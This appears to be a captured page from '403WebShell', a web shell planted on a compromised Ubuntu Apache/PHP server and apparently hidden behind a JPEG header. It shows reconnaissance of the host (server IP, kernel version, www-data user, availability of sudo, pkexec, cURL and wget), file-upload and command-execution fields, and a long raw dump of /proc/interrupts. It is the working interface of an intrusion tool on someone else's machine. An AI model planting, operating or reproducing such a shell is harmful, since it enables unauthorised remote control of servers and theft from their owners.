????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc//interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
   0:         20          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      timer
   8:        323          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      rtc0
   9:          2          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   acpi
  10:        109          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      ipmi_si
  22:         75          0         25          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb2
  23:        194          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb1
  72:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR_MSI-edge      dmar0
  73:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  74:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  75:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  76:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  77:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  78:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  79:   56222482   52562603   45510787   64761513   84025326  104926385          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  80:   44887525   39406735   27649152   32659849   40646430   50202989          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  81:   42793024   35604755   27103738   30728455   39566237   48052767          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  82:   64639665   45454936   40227700   38829897   62451059   77744737          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  83:   74755557   47892030   41839108   58583446   59468000   91516872          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  84:  103595245   43634024   46953872   73412269  100181677  100347208          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  85:    4202569    8209427    3693964    4105863    5494221    4776660          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  86:    3947140    6242890    3122056    3297359    4955738    4212963          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  87:    3571392    6115981    3028349    2978471    3770085    3990325          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  88:    5347002    6673678    3480925    3237918    5365786    4649849          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  89:    5434733    6525884    3726956    4759052    4379424    5141606          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  90:    6367173    6525259    3911949    4601175    6550295    4807952          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  91:    7006558   12512928    7578325    5195313   10390534   13615334          0          0          0          0          0          0  IR-PCI-MSI-edge      ahci
  92:         12          0 1188253765          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-tx-0
  93:          1          0          0 2411451315          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-1
  94:          1          0          0          0 1892841796          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-2
  95:          1          0          0          0          0 2232310563          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-3
  96: 2161966350          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-4
 NMI:    2994730    2790513    2780193    2756766    2908041    3004195    1656972    1672791    1691222    1661409    1668336    1653781   Non-maskable interrupts
 LOC: 2757653795 2329692741 2341063473 2346568818 2576184997 2768317239 3958326739 3829090156 3858350755 3801222890 3823299135 3791559861   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:    2994730    2790513    2780193    2756766    2908041    3004195    1656972    1672791    1691222    1661409    1668336    1653781   Performance monitoring interrupts
 IWI:   73562802  101323868   93071606   40172034   67551961   72058655   24476983   25814528   24701410   31714626   28673827   26876136   IRQ work interrupts
 RTR:         11          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:  377637776  301488310  280469451  336816287  322543307  325102996  136382687  136583739  133638697  133196473  133004540  132365316   Rescheduling interrupts
 CAL:   25254071   20816242   19915141   22362411   24691975   25791843   10374600   10845641   11066228   11038478   11242845   10621593   Function call interrupts
 TLB:   21812857   17974897   17076452   19302643   21401650   22246382    9629199   10070806   10313074   10279474   10492350    9848276   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:     384336     384336     384336     384336     384336     384336     384336     384336     384336     384336     384336     384336   Machine check polls
 ERR:          0
 MIS:          0

Youez - 2016 - github.com/yon3zu
LinuXploit